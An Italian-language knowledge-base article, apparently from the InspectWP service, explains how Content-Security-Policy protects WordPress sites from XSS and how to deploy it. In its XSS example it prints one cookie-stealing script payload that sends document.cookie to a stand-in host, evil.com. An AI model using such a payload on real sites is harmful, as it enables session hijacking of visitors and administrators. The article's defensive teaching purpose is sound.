Cos'è Content-Security-Policy (CSP)?

Content-Security-Policy (CSP) è un response header HTTP che ti dà un controllo preciso su quali risorse il browser può caricare nella tua pagina. Questo include script, fogli di stile, immagini, font, iframe e altro. CSP è generalmente considerato una delle difese più efficaci contro gli attacchi Cross-Site Scripting (XSS), che rimangono tra le vulnerabilità più comuni sul web.

Se gestisci un sito WordPress, CSP è particolarmente rilevante, perché i siti WordPress tipicamente caricano risorse da molte fonti diverse: il tuo server, CDN, provider di analisi, servizi di font, reti pubblicitarie e tutto ciò che i tuoi plugin e tema includono. Con CSP definisci esattamente quali di queste fonti sono consentite.

Come funziona un attacco Cross-Site Scripting (XSS)

Per capire perché CSP è importante, aiuta vedere cosa previene. Ecco un esempio concreto di come un attacco XSS può svolgersi su un sito WordPress:

Supponi che il tuo sito abbia un modulo di commenti, e la sanitizzazione dei commenti contenga un bug (nel core di WordPress, in un plugin o in una funzione personalizzata del tema). Un aggressore invia un commento con questo frammento:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Se questo script viene visualizzato nella pagina senza un corretto escaping, il browser di ogni visitatore che vede il commento esegue questo codice. Il codice invia i loro cookie di sessione al server dell'aggressore. Con questi cookie, l'aggressore può accedere come la vittima, anche come amministratore quando un admin visualizza il commento.

Con una CSP correttamente configurata, questo attacco fallisce. Il browser controlla lo script rispetto alla policy e rileva che gli script inline non sono consentiti (a meno che non siano esplicitamente in whitelist). Lo script viene bloccato e il browser registra una violazione invece di eseguire il codice.

Sintassi dell'header CSP e direttive comuni

Un header CSP è composto da direttive, ognuna delle quali indica quali fonti sono consentite per un determinato tipo di risorsa. Ecco un esempio:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com

Vediamo le direttive principali:

• default-src: la policy di fallback per ogni tipo di risorsa che non ha una propria direttiva. Impostando default-src 'self', solo le risorse dal tuo dominio sono consentite di default.
• script-src: controlla quali fonti JavaScript sono consentite. È la direttiva più critica per la sicurezza, perché gli script hanno pieno accesso al DOM e ai cookie della pagina.
• style-src: controlla quali fonti CSS sono consentite. Sui siti WordPress, spesso serve 'unsafe-inline' qui, perché molti plugin e temi iniettano stili inline.
• img-src: controlla quali fonti di immagini sono consentite. Il valore data: permette immagini base64 inline, usate da alcuni plugin.
• font-src: controlla da quali posizioni possono essere caricati i font. Se usi Google Fonts, devi mettere in whitelist https://fonts.gstatic.com.
• connect-src: controlla quali URL sono raggiungibili tramite AJAX, Fetch o WebSocket. Importante per siti che usano REST API o servizi esterni.
• frame-src: controlla quali origin possono essere incorporate in iframe sulla tua pagina. Rilevante se incorpori video di YouTube, Google Maps o altri widget di terze parti.
• frame-ancestors: controlla quali siti possono incorporare la tua pagina in un iframe. È l'equivalente CSP di X-Frame-Options (vedi KB-3).
• base-uri: limita quali URL possono essere usati nell'elemento <base>. Impostandolo a 'self', impedisci agli aggressori di modificare l'URL base della tua pagina.
• form-action: limita dove i moduli sulla tua pagina possono inviare dati. Questo può prevenire attacchi di phishing in cui un aggressore modifica l'URL di destinazione di un modulo.

Whitelisting di script tramite nonce o hash

Bloccare tutti gli script inline è l'approccio ideale, ma a volte gli script inline sono necessari. CSP offre due alternative sicure all'uso di 'unsafe-inline':

Whitelisting basato su nonce funziona generando un token casuale unico a ogni caricamento della pagina. Aggiungi questo nonce sia all'header CSP sia ai tag script:

Content-Security-Policy: script-src 'nonce-abc123random'

<script nonce="abc123random">
  // Questo script viene eseguito perché il nonce corrisponde
</script>

Il nonce deve essere diverso a ogni caricamento della pagina. Un aggressore che inietta uno script non può conoscere il nonce attuale, quindi il suo script viene bloccato. Questo approccio funziona bene quando controlli l'output HTML e puoi aggiungere nonce dinamicamente.

Whitelisting basato su hash usa un hash crittografico del contenuto dello script:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

Il browser calcola l'hash di ogni script inline e lo confronta con gli hash consentiti. È utile per script inline statici che non cambiano tra i caricamenti.

Monitoraggio con direttive di reporting CSP

CSP include funzionalità di reporting integrate che ti permettono di monitorare le violazioni senza rompere il tuo sito:

La direttiva report-uri (più vecchia, ancora ampiamente supportata) invia i report di violazione a un endpoint specificato:

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint

La più recente direttiva report-to funziona con la Reporting API e offre maggiore flessibilità:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://tuosito.com/csp-reports"}]}

Diversi servizi di terze parti come Report URI, Sentry e Datadog possono raccogliere e visualizzare i report CSP per te, il che aiuta enormemente quando si distribuisce una nuova policy.

Test con Content-Security-Policy-Report-Only

Qui dovrebbe iniziare quasi tutti. L'header Content-Security-Policy-Report-Only si comporta esattamente come l'header CSP normale, ma invece di bloccare le violazioni le riporta solo. Nulla viene effettivamente bloccato; il browser registra solo cosa sarebbe stato bloccato.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint

In questo modo vedi esattamente quali risorse del tuo sito sarebbero colpite da una policy CSP prima di imporla. Puoi vedere i messaggi di violazione CSP nella console di sviluppo del browser, o raccogliere report strutturati tramite gli endpoint di reporting.

Perché CSP è difficile sui siti WordPress

WordPress e CSP hanno un rapporto complicato. La sfida principale è che WordPress e il suo ecosistema sono stati progettati prima dell'esistenza di CSP, e molti pattern comuni entrano in conflitto con policy CSP rigorose:

• Script inline: il core di WordPress, WooCommerce e molti plugin popolari iniettano JavaScript inline. Una policy script-src rigorosa senza 'unsafe-inline' li rompe.
• Stili inline: molti plugin e page builder (Elementor, Divi, WPBakery) generano CSS inline. Anche il Customizer inietta stili inline. Spesso questo ti costringe a usare 'unsafe-inline' per style-src.
• Uso di eval(): alcuni plugin usano eval() o new Function(), che richiedono 'unsafe-eval' in script-src. Questo indebolisce significativamente la protezione.
• Risorse di terze parti: script di analisi (Google Analytics, Matomo), font (Google Fonts), CDN, embed social e script pubblicitari devono essere tutti messi esplicitamente in whitelist.
• Aggiornamenti dei plugin: un aggiornamento di un plugin può improvvisamente caricare risorse da un nuovo dominio e quindi rompere la tua CSP senza preavviso.

In pratica, la maggior parte dei proprietari di siti finisce con una policy che consente 'unsafe-inline' per gli stili, ma limita gli script e altre risorse il più possibile. È un compromesso ragionevole che offre comunque protezione significativa.

Passi pratici per aggiungere CSP a WordPress

Ecco un approccio passo-passo che funziona in pratica:

1. Inizia con Content-Security-Policy-Report-Only impostato su default-src 'self' e un endpoint di report.
2. Naviga il tuo sito a fondo e rivedi i report di violazione. Annota ogni risorsa bloccata.
3. Aggiungi i domini sorgente necessari uno per uno alle direttive della tua policy.
4. Testa tutte le funzionalità critiche: login, checkout (con WooCommerce), moduli e pannello di amministrazione.
5. Una volta che la policy report-only non mostra più violazioni durante l'uso normale, passa all'header di enforcement Content-Security-Policy.
6. Mantieni l'endpoint di reporting attivo anche dopo l'enforcement, in modo da notare nuove violazioni dovute ad aggiornamenti di plugin o modifiche al contenuto.

Cosa controlla InspectWP

InspectWP verifica se il tuo sito invia un header Content-Security-Policy. Se manca, il report segnala che il tuo sito non ha protezione CSP contro XSS e altri attacchi di injection. Se è presente una policy, InspectWP mostra la stringa completa della policy in modo che tu possa valutarla. Tieni presente che un header CSP con direttive troppo permissive (come default-src * o script-src 'unsafe-inline' 'unsafe-eval') offre poca protezione in pratica.